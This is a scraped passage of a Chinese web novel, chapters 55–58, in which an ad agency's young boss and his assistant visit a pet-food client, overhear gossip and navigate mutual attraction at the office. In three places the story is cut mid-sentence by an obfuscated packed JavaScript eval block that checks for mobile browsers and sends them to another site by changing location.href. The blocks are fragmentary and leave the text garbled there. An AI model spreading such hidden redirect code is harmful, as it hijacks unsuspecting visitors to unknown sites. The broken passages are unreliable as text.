一路上顾妙一反常态地对他各种照顾,问他包子好不好吃,好吃还会给他做;问他渴不渴,渴的话一会儿到了站里帮他买水;还问他热不热,接着就随手掏出了一个USB风扇。 魏如栩觉得身边这人突然升温,心里乐开了花,莫名想起俩人出差时第一次一起吃饭时说的话,忍不住调侃:“顾助理,你这样把我宠坏了可怎么办?” 车厢拥挤的人潮中,顾妙因为整夜没睡而神情恍惚,忽然听得这磁性低沉的声音在耳边响起,吐出了这句能勾魂摄魄的骚话,浑身上下一激灵,心道:“药丸,错误暗示,把人带跑偏了。” 她想表达的是姐弟情,甚至是絮絮叨叨、泛滥狂奔的“母爱”,很明显,小魏总接收到的却是另一种概念。 这信息传递的误差大得堪比东西方文化差异了! 顾妙暗搓搓地想,这货目前已经成了知觉选择性的掌中之物,只听他想听到的话,不下点猛药是不行了。 于是她艰难地扭头,看了身后的魏如栩一眼,露出了一个极为狗腿的笑容:“宠坏你也好啊,这样我就再也不用担心失业了。” 见魏如栩的眼中泛起浓重的失落,顾妙不忍心再看他,赶紧把头扭了回来。 片刻后,魏如栩的声音又在她耳边响起:“有我在,你就不会失业。这点你放心好了。” 他的声音比刚刚低沉很多,没了那炽热的温度,听起来十分诚恳,朴素得近乎于一句简单的誓言。 知道他明白了自己的意思,顾妙却没有目的达成的喜悦,反而是一阵心疼。 她觉得自己很过分,疯狂献殷勤的是她,误导人的也是她,虽然她本意是好的,但现在看来,就像是给人一个甜枣,又打了人一棒子,整个人显得婊里婊气,做法也怪伤人的。 策略负分,做法负分。 顾小妙滚粗! 魏如栩倒是没有她想象的那么被伤害到——大老爷们这点小挫折还是经得起的——这句半开玩笑的话倒是让他清醒了起来,昨晚的那个拥抱到今早的各种殷勤所引发的一系列旖旎的想象和期待尽数退散,令他从天堂回到人间。 我又在逼迫她了吗?魏如栩扪心自问。 她对我一切友善的举止,究竟出自于本心,还是忌惮我是她的老板? 两位神仙各怀心事,一路上除了基础对话之外再没有其他的交流。 十点钟,盛然准时过来敲门,魏如栩和顾妙跟他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459432|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起去了爱伴宠物,进行第一次的正式见面。 一来因为是朋友介绍,二来是总经理亲自登门,爱伴宠物的孟总经理和市场总监崔林也亲自接待,显得职位对等,相互尊重。 到了公司之后,孟总和崔林先带着魏如栩等人简单参观了公司。 爱伴宠物公司如其名,整个品牌宣传的核心就是宠物与主人之间是互相陪伴的关系,公司里到处都是小动物的模型海报和陈列的产品,配上合适的灯光,整个公司的氛围显得分外温馨。 自从约了这个客户之后,顾妙也进行了一番资料搜集,对这家公司做了全面的了解。爱伴宠物拥有大概三百余名员工,在本土同类型企业占据中游位置,目前正处在企业壮大和开拓市场的阶段。 他们靠生产宠物食品起家,现在也开始跟随市场潮流,进行各种智能宠物用具的研发。 先前爱伴宠物有固定合作的广告公司,但就宣传效果来看,他们并不算满意,所以这才动了换代理的心思。恰好有魏如栩的朋友老孙推荐,双方才这样接上头,但究竟能不能达成合作、是什么程度的合作,还得看双方进一步沟通的情况。 聊业务的时候魏如栩自然是让盛然这个最有经验的来,他和顾妙都在一旁安静地听着。 魏如栩心里有数,爱伴宠物的上一家广告代理公司是本土4A,论资质,嘉栩比对方矮了不止一头,如果他是孟总,也会对嘉栩多番考量。 但嘉栩虽然小,近年来成长势头也很猛,有几个项目也拿了国内金投赏、长城奖等业内奖项。除去公司规模不论,单就项目本身来讲,能力水平也是有目共睹的。 孟总对自家公司最新研发的智能宠物喂食器明显非常看好。这个喂食器自带摄像头观察宠物进食情况,同时主人也能通过手机app对喂食器进行控制。这其实也是智能喂食器的基本配置,但好在同类的竞品数量并不多,在市场上算是有一战之力。 一番客气的交谈下来,魏如栩也摸清了孟总的意思。孟总希望嘉栩来制作这款喂食器的广告片,同时也是以这个广告片作为第一次合作的试水。 好的话可以进行更深度的合作,如果广告片的创意、制作和后续市场反应都不尽如人意的话,那么估计也就撒有哪啦了。 第一次见面非常顺利,双方聊得都很开心。聊得差不多的时候,孟总电话响了,他跟崔林耳语了几句,便对魏如栩等人示意出去接个电话。 借这个机会,顾妙表示要去下洗手间,魏如栩也说要去,跟着她一起站了起来。崔林让助理宋康给他们指了下路,顾妙和魏如栩就顺着他指的方向向外走去。 经过办公区的时候,旁边突然有个人诧异地说了句:“顾妙?” 顾妙回头,认出了手边一个工位上的女孩:“管馨?你在这儿工作?” 管馨站起来,笑容满面,小声说:“对啊,我在这做市场专员。小于也在市场部,我俩一起招进来的,不过她今天出差了。你现在是……” 顾妙看了旁边的魏如栩一眼,有点不好意思:“我在嘉栩广告做总助,这是我们魏总。今天我们来谈合作的。” 管馨的目光顿时落在了魏如栩身上,笑容真诚地说:“魏总好。” 魏如栩冲管馨笑着点了点头,并未多说话,刚刚他敏锐地看出管馨听到“总助”这个词的时候,眼中闪过一丝轻蔑。 可惜顾助理心大如斗,毫无察觉,亲切地看着管馨:“那我们不打扰你了,你先忙,回头咱们一起聚。” 告别之后,顾妙和魏如栩继续往洗手间方向走去。魏如栩问道:“同学?” 顾妙点头:“嗯,是同一个班的。我们专业干什么的都有,国贸、会计、市场、销售,挺杂的。” “你们关系好吗?” “还行吧……上学的时候除了上课我就是出去打工,其实跟同学关系都一般。”顾妙悻悻地说。 魏如栩从洗手间出来,他并没有女孩子们相互等待的概念,先行返回了爱伴宠物。 从门口到会议室恰好经过休息区,走到作为隔断的绿植旁边时,魏如栩听到有人小声提到了顾妙的名字,本能地停下脚步。 “顾妙上学的时候成绩不怎么样,好几门课都挂过科。” 魏如栩稍稍侧了侧身,从绿植的缝隙里看见说话的人正是刚刚见过的管馨。 管馨正跟旁边的同事小声嘀咕,“不好好念书,光顾着打工,耽误找工作,听说毕业的时候手里一个offer都没有。” 同事低声问:“是吗?那她怎么当上总助的?” 管馨嗤笑了一声:“谁知道呢。我们之前还在群里聊过这事儿,呵呵,搞不好就是潜规则。刚刚我也见着她老板了,特年轻,估计跟咱们差不多大,长得倒是挺帅。” “啧,这么年轻,是富二代吧?”同事说,“那个顾妙漂亮吗?” “不丑,也不算多漂亮。就一普通人。”管馨装模作样地叹了口气,“不过这事儿也不能光看长相。成绩能说明什么啊,都是同一个学校的能拉开多大差距。顾妙大学四年光混社会了,说不定就是比我们有手段。” 魏如栩站在植物后面,面色阴沉,垂在身侧的手不由地攥起了拳头。 这个时候管馨又加了一句:“有手段,没脑子。跟老板谈恋爱,有几个能有好下场的?!哼,将来有她哭的时候!” 听到这话,魏如栩想到了什么,心陡地一沉。 56. 第五十六章 小魏总患得患失 顾妙上完洗手间回来,也路过了休息区,看到她老板站在绿植旁边一动不动,整个人像被施了定身术似的,很是奇怪。 鉴于这是在别人公司,她也不敢造次,轻手轻脚走过去,正撞见从休息区出来的管馨和她同事。 刚说完顾妙的坏话,管馨毫不心虚,扬起笑脸冲顾妙打招呼:“妙妙,上学的时候聚餐你总溜号,等回头同学聚会你可一定得来啊。大家天南海北的聚一次不容易。” 魏如栩也立刻转过身来,看到顾妙的脸,他原本冷若冰霜的表情立刻融化,换上了温和的笑容。 顾妙看了魏如栩一眼,有点尴尬地对管馨说:“嗯,时间合适一定去。我跟老板先回会议室了。” 管馨这才注意到魏如栩就站在绿植旁边,堪堪掩饰住了心惊,对他点头笑了笑。 同事打量着顾妙,目送他们离开,戳了管馨一下:“卧槽,他什么时候站在这儿的,刚刚咱俩说话不会被他听见吧?” “听见又怎么样?怕他告诉顾妙吗?”管馨抱起双手,神情鄙夷地说,“要是真爱他就不会说。要不是真爱,他也不会在乎。” “那倒也是。”同事点点头,随即露出一脸姨母笑,“啧啧,瞧瞧人家的老板,帅得真是惨绝人寰,又年轻又有气质。那顾妙也就普通吧,怎么泡到老板的?” 管馨冷冷地说:“想什么呢?泡得到又怎么样?不是一个世界的人,长不了。快走吧,分析报告写不完,有你好看的。” 顾妙亦步亦趋地跟在魏如栩身后,絮絮叨叨地说:“哎,管馨是我们班学霸,年年拿奖学金,我要是有她那脑子,也就不打工了。能拼脑力谁想拼体力呀。” “学霸又怎么样?你不还养大一个学霸吗?”魏如栩回头看了她一眼,翘着嘴角笑道,“妄自菲薄可不像你的作风。” 顾妙一怔,觉得这话似曾相识,傲娇地说:“必然不是我。” 想了想,她又顺嘴拍了个马屁:“现在有你这么慧眼识英才的老板,我肯定升职加薪平步青云,很快就能成为职场精英走上人生巅峰!” 顾妙本以为魏如栩会跟平常一样,明明心里很受用,嘴上还是会嘲讽她两句,谁知却见他对这句话似乎没什么反应,眼神中还有那么一点失落,拐弯转进了会议室之后,立刻又堆起了一张职业微笑脸。 “这么紧张的么?”顾妙觑着他的表情,坐回座位,暗暗想,“也对,第一次谈新客户,以他那迫切想证明自己的性格,难免会澎湃一点。” 从爱伴宠物出来,已经到了饭点儿,魏如栩、盛然和顾妙三个人就在外边饭店解决了午饭,顺便总结了一下刚刚的会议情况。 盛然对这次见面很看好:“我看孟总也很有诚意,跟我们介绍了那么多,他像是那种很喜欢跟乙方沟通的甲方,对今后的工作开展也有好处。” “是啊,我还以为甲方都凶神恶煞只会挑刺儿呢。”顾妙插科打诨,想让她小魏总心态放轻松一点,“现在看来也不尽然。” “那倒不是,很多甲方都很好沟通,只是大家立场不同,才会产生很多碰撞。”说话间,盛然帮顾妙和魏如栩都烫好了碗筷,他看起来经常照顾人,既熟练又细心。 魏如栩点点头:“辛苦盛总跟进这个项目,这次我也会全程参与,正好是新项目、新客户,对我和顾助理来说是个学习业务的好机会。” 盛然笑起来,露出一口白白的牙齿:“公司的业务就是我的工作,有什么辛苦不辛苦的。” 吃过饭三个人一起回了公司。魏如栩先进了办公室,顾妙正要跟上,身后的盛然突然开了口:“顾助理。” 顾妙回头看他:“盛总还有事吗?” “有点私事。”盛然似乎有点不好意思,“最近你小姨还好吗?这两天我联系她,她都没回我。” “呃……应该还好吧。她又没什么事。”顾妙这几天忙,没顾上联系凌晏如,盛然这么一说,她才想起来,凌晏如也好几天没去她家了,偶尔发个微信也半天才回,行踪确实显得有点神秘。 盛然说:“上次她看上一款包,正好我有朋友去国外,帮她买回来了。你要是方便的话,能不能帮我捎给她?” “啧啧,小姨又败家了!”顾妙痛快地说,“放心吧盛总,我这个人肉快递很靠谱的,一定帮你安全送到。” “好,等一会儿我给你送过来。”盛然笑了笑,“去忙吧。” 顾妙进了自己的隔间,把包往工位上一放,就冲进魏如栩的办公室开始磨豆子冲咖啡:“老板,蹭咖啡续命啊!困死我了。” 魏如栩正低头看文件:“谁叫你不好好睡觉,早起cosplay呢!” “cosplay?”顾妙手上动作没停,“什么意思?” 早上因为亢奋显得非常精神,中午吃过饭,食困加失眠,搞得她脑子变成一团棉花,完全没办法思考,顾妙一时没能领会魏如栩的意思。 魏如栩笑盈盈地看了她一眼,正想说,忽然又改了主意,低下头:“没什么。” 毕竟人家是好意,拿这事儿打趣不太好。 谁知顾妙会错了意,等她在咖啡壶里灌好了水,就跑到魏如栩面前,仔细打量他:“老板,你不用紧张,我觉得今天咱们挺顺利的。” “……你哪只眼看见我紧张了?”魏如栩疑惑地抬头。 顾妙:“看你脸色不太好,不冲人的时候老板着脸。” 魏如栩扶额:“不冲人的时候我要有什么表情?傻笑吗?” 顾妙:“……” 好像也是这个道理。 可顾妙就是莫名觉得魏如栩今天的状态不对劲。平时他独处的时候虽然不笑,但也不板着脸。 难道因为早上她搞的那一连串莫名其妙的事? 那就不太好解释了,得想好才能说,以免再出乌龙。 顾妙觉得心累,她是真看不得她小魏总不高兴,看他不高兴本能就想哄,即便这不高兴因自己而起。 这是什么贱命哟喂! “刚刚盛然叫住你,跟你说什么了?”魏如栩看着顾妙表情瞬息万变,不知道她想到什么地方去了,为了避免她再研究自己的心思,他果断转移了话题。 “不是工作上的事。”顾妙从冰箱里取了冰放进雪克壶,将煮好的咖啡倒进壶里摇匀凉透,再倒进马克杯,“他帮我小姨代购了一个包,让我捎给她。” 魏如栩挑起眉毛:“盛总还有这个业务呢?” 顾妙把咖啡递给魏如栩,靠在他办公桌边,抱着自己那杯一饮而尽:“嗐,什么业务,不过是追求者的日常……” 说到这里她顿时闭了嘴,因为大脑不运转导致嘴巴闸门失效,把这小秘密给秃噜出来了。 然而魏如栩稳准狠地抓到了重点,兴趣十足地问道:“盛总在追小姨?” 顾妙努力掩饰,否认三连:“不是,没有,别瞎说啊!” 魏如栩探究的目光在她脸上逡巡,令她觉得自己就像努力埋屎的小狼——其实根本什么都掩饰不了。 “撞车那天我就觉得他俩好像不是第一次见面,也难怪,毕竟你们住同一个小区,抬头不见低头见。”魏如栩玩味地说,“怪不得那天回来的时候气氛诡异。” 顾妙幽幽地盯着他,心想:“拜托,那天诡异的是你好吗?” 但是她为了管住嘴,避免透露盛然和凌晏如相识的事实真相,生硬地转而拍马屁:“老板,你的观察力真是棒棒哒,一眼就看透了事情的本质!” “你做了什么亏心事,今天这么能吹彩虹屁?”魏如栩似笑非笑地看着她,“三回了啊,有什么企图,从实招来!” 顾妙心虚地低下头:“哄老板开心是助理的本分……” 虽然事实如此,可魏如栩突然不太想听她一遍遍重复两人的上下级关系,把话题又绕回了凌晏如和盛然身上:“想想他俩还挺般配的,要不咱俩给他们助攻一下?” 顾妙意外地看他:“……看不出老板你还有说媒拉纤的爱好?” “突然想到一句话,说要帮人成就三段姻缘,来世才能托生为一只幸福的宠物猫。”魏如栩无意识地捻了捻手指尖,“你看小狼生活多开心,吃穿不愁,整天就是吃喝玩乐。” “呵呵,半年后带他去割蛋蛋,看你还羡慕他不。”顾妙想到整天在家搞破坏的小狼,咬牙切齿地说。 然后……气氛有点不对。 人的联想能力是无穷的。 真是最怕空气突然安静。 魏如栩沉默片刻,机械地说:“顾助理,听听你说的什么虎狼之词。” 顾妙脸有点发烫,拿过魏如栩的马克杯转身就走:“我去刷杯子。” 她低着头一路小跑,活像有丧尸在背后追她似的。 魏如栩盯着她的背影,突然“噗嗤”一声笑了出来。 好像第一次看到顾助理害羞?硬核少女害羞起来简直自带萌点呀有没有! 糊里糊涂搞乌龙的是她,用小心机套路人的也是她,大大咧咧是她,害羞逃跑的也是她。她所有的真情流露都是那么可爱,让人想把她拉到怀里使劲捏脸,然后再狠狠亲到她面红耳赤。 小魏总觉得自己好像在脑海里耍了个流氓,变态,赤激! 外热内冷的魏如栩不爱跟别人肢体接触——不是高冷人设,也不是有洁癖,只是不喜欢过分亲密——但他对顾妙有好感之后,总喜欢触碰她,摸摸她脑袋、捏捏她鼻子什么的,但也仅限于如此,再进一步就变成职场性骚扰了。 他这才发现,原来喜欢上一个人,本能地就想靠近她,黏在一起,甚至只要勾勾手指尖都会觉得开心。 只是自己是这样想,顾妙呢? 他总觉得顾妙是对他也是有好感的,毕竟她也不是任人宰割的小绵羊,不至于老板说什么她就毫无底线地照办。 最起码昨天那个拥抱,魏如栩就觉得那一定是出自真心。 可是他想起来顾妙一直有意无意地说起两人的上下级关系,以及管馨中伤她的那些话,心情顿时变得很不美好。 管馨的话证明了他之前的担心,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾妙再一次想走:“嗯,我明白。那你先……” “你不是说要请我吃饭来着?”车翔打断她的话,笑眯眯地看着她,“我可一直等着呢,你不会说话不算话吧?” 唉,忘了这个麻烦事儿了。顾小妙叹了口气,怀疑自己是不是什么时候得罪了桃花妖,这么多烂桃花。 捡日不如撞日,就今天吧! “当然不会了!今晚你有空吗?咱们工作计划赶不上变化,还是临时约最靠谱。” 车翔万年不变的油腻笑容:“有空,那就下班见?” “行!”顾妙莫名想到魏如栩的上坟脸,怵了一下,“下班在楼下见吧。” “没问题!”车翔非常善解人意,他自己也不想让魏如栩知道他跟顾妙私下有接触。 多一事不如少一事,免得麻烦。 就算能追上,也不能在公司公开。 车翔一边洗刷刷一边胡思乱想,以他八面玲珑的尿性,虽然揣摩到魏如栩可能对顾妙有想法,但他也不是完全怵他,因此并没放弃顾妙。 第一,公司没有杜绝同事间谈恋爱的规定,他不会因此违反制度。 第二,没到水到渠成的时候他不打算表白,搞暧昧是进可攻退可守的方式,就算魏如栩不爽,他也不能公开指责他。 第三,比起自己,小魏总想追顾妙更难。公司里已经有很多人说闲话了,如果他真有那个意思,廖玄也会开口阻止他。 他条分缕析地想着,越想越有信心,再怎么说,顾妙跟他是同一个世界的人,他们两个更相配。 顾妙把洗好的杯子讪讪地放回魏如栩的小吧台,没敢跟老板搭腔,垂着头回到她的隔间里继续工作。 魏如栩抬头看了看她,也不想让她继续尴尬,也没出声。 过了一会儿,心神不宁的小魏总突然发现外面没有了声音,好奇心起,蹑手蹑脚地走出去一看,好嘛,顾助理公然趴在工位上睡着了。 也是真不怕外面人来人往的被人看见。 魏如栩轻轻推了推顾妙:“喂,醒醒,到办公室沙发上去睡吧。” 顾妙迷迷糊糊地抬起头,眼睛半睁不睁,看起来真是困得狠了:“嗯?” “你该不会是整夜没睡吧?”魏如栩拧着眉头,撑着她的手臂,想把她拉起来,谁知这丫头就像个千斤坠,一下竟然没拉动。 魏如栩:“……” 顾妙迷迷糊糊地趴回去:“让我睡一会儿,一小会儿……” 先前那杯咖啡完全没有作用,现在的顾妙觉得自己好像脑袋上顶了个宇航员头盔,把她跟真实世界隔绝开来,面前魏如栩的脸十分模糊,连声音仿佛都是从很遥远的地方传来的。 她是真的困得睁不开眼了。 魏如栩没办法,先轻轻把办公室外层的大门关上,然后弯下腰,一把将顾妙抱了起来。 57. 第五十七章 套路 身体猛一悬空,顾妙顿时吓出冷汗,睁开了眼,本能地两手抱住了魏如栩的脖子,又觉得距离他的脸实在太近,非常尴尬,于是收回手,改为抓着他的衣服,身体往后仰,力图跟他拉开距离。 活像一条打挺的美人鱼。 顾妙:“老板,你……” “别乱动,摔下来是你自己疼。”魏如栩低声说。 这声音顺着耳根像是要爬到顾妙心窝里,她顿时觉得脸上火辣辣的,一时间心里有无数只小鹿在撞墙,好在魏如栩几步就进了他办公室,把她轻轻放在沙发上。 “在这儿睡吧。”魏如栩从旁边拿了个抱枕毯子拆开递给她。 顾妙简直坐立难安,别说躺下了:“不困了,我不困了。” “让你睡你就睡。趴在桌上让人见了就好看吗?”魏如栩一脸嫌弃地说,“给你睡一小时,过会儿我叫你。” 他到办公桌拿了一摞文件,就要往外走,一回头看见顾妙站起来,似乎还想说什么,干脆地打断了她:“我在你工位上待会儿。时间给了你,这一小时你愿意睡就睡,不愿意睡玩手机也行,反正别出这个门。” 说完魏如栩就走了出去,留给顾妙一个威严的眼神让她自己体会,然后拉上了隔间的门。 顾妙可怜巴巴地望着门,忽然觉得今天的小魏总A爆了,不敢反抗。 行吧,都这样了,硬撑也是撑不下去的,干脆心安理得地享受这个员工福利。 于是一个小时之后,魏如栩轻轻拉开门,就看见顾妙蜷缩在沙发上,打着小鼾,睡得那叫一个香甜。 他会心地笑了笑,自然不会真的去叫醒她,接着便退出了办公室,把门拉好。 小魏总坐在顾妙的工位上,自己给自己当助理。 员工们经过的时候,总会本能地往敞开的门里看,一看门口坐的居然是小魏总本人,心里都暗暗诧异,但谁也不敢问。 魏如栩安之若素地享受着各种注目礼,为自己终于能帮顾妙做点小事而开心。 照顾自己喜欢的人,感觉真好。 五点钟是官方下班时间,虽然大家大多不离开公司,但也可以稍稍自由活动。于是盛然提着一个购物袋过来找顾妙。 他看见魏如栩端坐在隔间里,里面办公室的隔断门拉得严严实实,意外是挺意外,但装作毫不意外。 “小魏总,顾助理在吗?” 魏如栩看着他手里的购物袋:“找她有事?” “哦,她小姨托我买的东西我买到了,正好让她捎回去。”盛然知道魏如栩也认识凌晏如,倒也没掩饰。 况且这话也没什么可掩饰的。 “给我吧,我一会儿转交给她。”魏如栩伸出手。 盛然点点头,把东西给他:“麻烦了。” 魏如栩:“举手之劳。” 整个过程尴尬而又不失礼貌。 盛然走后半小时,戚滢滢来了,手里也提着一个购物袋,里面像是有个盒子。 她走到门口,看见魏如栩坐在那,顿时像被施了定身术,呆立当场,想着自己是不是该在总经理发现她之前溜走。 这一迟疑,就错失了先机。 正当她想转身的时候,魏如栩喊住她:“戚滢滢?” 戚滢滢转过头,挂上无公害的笑容:“小魏总好。” “来找顾助理?”魏如栩笑容如和煦春风般温和。 “昂,她不是买了我一套裙子吗,我帮她改好了送过来。”戚滢滢双手把购物袋放在魏如栩面前的桌子上,“那我先搁这儿了,有什么问题回头跟她微信说。” 小魏总虽然一直都很平易近人,但戚滢滢也没这个狗胆敢跟他多聊,放下之后本想转身就走,很不幸,又被魏如栩叫住了。 “忙吗?不忙的话跟你聊两句。”魏如栩的笑容不可抗拒。 戚滢滢:“……” 我敢说忙么? 魏如栩指了指旁边的沙发,笑道:“请坐。简单说两句,别这么紧张。” 戚滢滢一捋裙子,小心翼翼地坐在沙发上,屁股只沾了个边,坐得比军训坐小马扎还端正:“我什么都不知道……” 魏如栩笑了:“我又不是要拿你当间谍审。放松放松,今天咱们聊什么,内容都不出这个办公室。” “嗯……好……”戚滢滢本来也是个心大的人,觉得反正自己确实啥也不知道,随便小魏总问好了。 自从知道创意B组的情况之后,魏如栩一直琢磨着怎么解决这个问题。苗之钦情商高得有点过,绝对不敢越级上报,魏如栩也不好硬往火坑里拉她,毕竟喻真是个铁娘子一般的人物,万一那这事儿做文章,连累了苗之钦就不好了。 但要了解创意B组的真实情况,还得从他们基层员工当中挖信息。 这回戚滢滢自动送上门来,魏如栩自然要从她嘴里打听点什么,顺便听听她心里怎么想的。 这种傻白甜类型的员工最好套话了,而且信息准确率高得惊人。 魏如栩云山雾罩地跟她瞎扯一通,跟她聊了几句汉服。他对此并非一无所知,在英国念书的时候,有些中国学生就是汉服发烧友,其中有几个是念服装设计的,对汉服设计可谓如数家珍。 一聊汉服戚滢滢就来了精神,也放下了戒心,眼神在魏如栩身上逡巡了几圈,胆大包天地动了想让小魏总给她当模特的心思。 她其实不怎么设计男装,但心想如果将来有一天……唉,算了算了,可不敢瞎想。 聊着梦想,魏如栩自然而然地问到了她初入职场的感受。戚滢滢不知其中有“坑”,大大咧咧地说:“比我想象得难多了。” “主要难在哪儿?工作内容?人际关系?” 戚滢滢沉吟了片刻:“都难。本来以为写微博很简单,没想到那么多条条框框。人际关系——也不是组长他们不好,就我总觉得,跟在学校里太不一样了。我在学校人际关系很好的,但是在组里,我知道他们都不太喜欢我。” 魏如栩假装意外地挑眉:“哦?” “我知道自己,有时候心直口快,可能说了什么不该说的话。但我真的没有恶意的。我也希望跟大家都做好朋友。”戚滢滢垂头丧气地说,“我没有那么多心眼,也不知道哪里得罪了别人,改都没法改。” “那你有没有想过,职场为什么跟学校不一样吗?”魏如栩像个心理医生,引导着戚滢滢思考。 戚滢滢一脸空白地看着他:“我觉得……本质上差不多啊,何况我们组里都是同龄人,大家还都是新来的,既没有代沟,又没有前后辈的差距,跟大学新生不是一样吗?” 魏如栩努力启发她:“你在学校里,成绩不好的话,会连累到同学吗?” “……”戚滢滢眨了眨眼,似乎明白了什么,顿时变得十分沮丧,“我确实给组长添了很多麻烦。小魏总,我该怎么办啊?我能过得了试用期吗?” “倒也不必这么紧张,有时候看清问题的关键,找到合适的解决办法就好了。”魏如栩见她眼泪汪汪要哭,想起她“鬼哭娘”的外号,顿时头大,立刻转移话题,“来公司一段时间,对各部门也熟悉了吧?如果现在让你重新选择岗位,你会怎么选?” 谁知戚滢滢一听这话,那眼泪立刻喷涌而出:“是要开除我吗?我知道我做的不好,可是我真的很努力了……” 魏如栩:“……” 妹子,你从哪个字里听出要开除你的? “你想太多了,一个月还没到,你也没有违反公司制度,怎么可能开除你?”魏如栩一把抓过桌上的抽纸,整盒塞给了戚滢滢,“快别哭了。” 戚滢滢擦着眼泪:“那是过了一个月就会炒我吗?” 小魏总脾气向来不错,但此刻有点抓狂。 “别老想着炒不炒的,你知道墨菲定律吗?”魏如栩严肃起来,“别哭了。你现在要想的是怎么把工作做好,不是担心被炒鱿鱼。” “嗯!我会努力的!不骗人。”看一向和蔼的老板绷起脸,戚滢滢吓得不敢哭了,使劲点头。 魏如栩松了口气:“问你刚刚那个问题,是想知道从你普通员工来看,你觉得哪个岗位更适合你。如果你觉得对你组里的现状有什么好的调整建议,也可以跟我说说。” 戚滢滢使劲擤了一把鼻涕:“我觉着……我现在做这个就挺好,其他的好像也做不了。我也没什么建议,反正我到哪都是拖后腿。” 魏如栩有点郁闷,之前面试的时候没发现她这么不自信啊,难道上班两周,就把人家自信心给摧毁了? 正当他惆怅的时候,戚滢滢突然主动开口,终于说到魏如栩想听的话。 “不过……我要是能去别的组就好了——不是说现在不好,是觉得组长一个人带我们几个实在太辛苦。”戚滢滢带着鼻音,絮絮叨叨地说,“因为我知道茅笛姐姐虽然做事很优秀,可她也有很多不适应的地方,自己也不知道该怎么调整。祝商祺和贺若哥哥两个人配合得还不错,可是他们两个原本也都挺优秀的,忍不了组长一次次让他们修改。我见他们私下里也经常吐槽,还说组长不懂艺术。” “你们苗组长知道吗?”魏如栩皱着眉问道。 “她知道。大家的工位挨得那么近,小声说话也能听见。” “那她有什么反应?” “没什么反应,但估计心里也不好受。”戚滢滢垂头丧气地说,“我最难带,她更照顾我一点。但也知道我心大,跟我说话比较直接,反而跟他们几个说话更谨慎。我也明白我们的问题出在哪里,很多想法和创意都太自我了,并没有按照客户的要求来。” 说到这里,她顿了顿,感叹道:“真佩服组长,换了我估计眼睛都得哭瞎了。” 顾妙感觉到手机震动,一激灵醒了过来,看了一眼时间,吓得从沙发上跳了下来。 我日……从午休一觉睡到下班,牛逼大发了! 老板不是说要叫我起来的吗? 她匆忙穿上鞋,三步并作两步冲到隔间门口拉开门,就看见了“小魏总心理咨询室”现场直播,顿时愣住了。 顾妙:“……” 老板这是在干什么?跟女员工谈心还把女员工整哭了? 魏如栩看到顾妙脸上微妙的表情,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没事,以后别这么纵容我。”她收敛了表情,说话点到为止,走到桌边整理东西,把戚滢滢送来的衣服装进抽屉里。 魏如栩很想说我就是想纵容你,但以目前的情况,他也说不出口,只是转了转眼珠,看到桌脚放着的购物袋:“对了,盛总把小姨的东西送来了。” 顾妙淡淡地说:“嗯,我看见了,一会儿暂时不回家,带着不方便,明天再给她带回去。” “不回家?你去哪儿?”魏如栩主动请缨,“我帮你带回去不就行了。” “唔,去跟同学吃饭。”顾妙随口扯了句谎,把购物袋往桌下空档里一塞,“又不是什么十万火急的事儿,明天我自己带吧。” 她这么坚持,魏如栩也不好硬帮她忙,同时,善于察言观色的他也看出来,顾妙似乎心情不佳。 他见顾妙把笔记本电脑打包扛了起来,也意识到了自己的疏忽。他的纵容的确是出于好意,但确实也占据了她的工作时间,本来上班能完成的事儿,得带回家加班了。 关心一个人也不能太想当然,你以为是为她好,也确实暂时帮了对方,可要是因为这好意给对方带来了麻烦,这就得不偿失了。 “抱歉,是我考虑不周。”魏如栩立刻说,“就是看你太困了,想让你多睡会儿。” 顾妙冲他笑了笑:“没事儿,睡精神了正好干活儿。出来混总是要还的嘛!我先走了。” 魏如栩看着她匆匆忙忙的身影,挠了挠头,努力压制住探听她跟谁去吃饭的念头,跑去健身房消耗多余的精神。 电梯里,顾妙看了看手机,几条信息都是车翔发来的,还有一个他的未接来电。 “小魏总怎么坐在你的工位上?你还在公司吗?” “是出去办事了吗?给你打电话没打通,你没事吧?” “我有点担心。” “你办完事儿还回公司吗?我们在吃饭的地方见?” “我还是在公司楼下等你吧,看到了回我微信。” 发了这么多条都没把她震醒,可想而知她睡得有多沉,魏如栩不忍心叫她也是人之常情。幸亏她就快睡醒了,才被最后一条信息给叫起来,不然她小魏总不好下班,车翔也会在这里瞎等。 她可不想一坑坑俩。 顾妙马上回复车翔,可是还没来得及打完字,电梯就到了一层,她看见车翔在大门口等待的身影,就把刚刚字全删了,径直向他走过去。 “翔哥。”顾妙满脸歉意,“抱歉让你担心了。我下午在小魏总办公室里睡了会儿,没看到微信。” 她原本想说自己在开会,可是这个谎言太容易被戳破了,还不如实话实说。 “中午我就看你精神不太好,是生病了吗?现在降温了,容易感冒。”车翔一听,关心地伸出手去想要摸她的额头,“没发烧吧?” 顾妙本能地向后一撤,躲过他的魔爪,动作幅度有点大,显得好像很介意似的。 但下一秒她又觉得这样十分不妥,顿时有点尴尬。 她只是想拒绝别人,但不想让任何人受到伤害。 58. 第五十八章 假柜门 车翔倒是不以为意,笑笑说:“不好意思,本能反应。你要是不舒服的话,咱们改天再吃饭吧。” 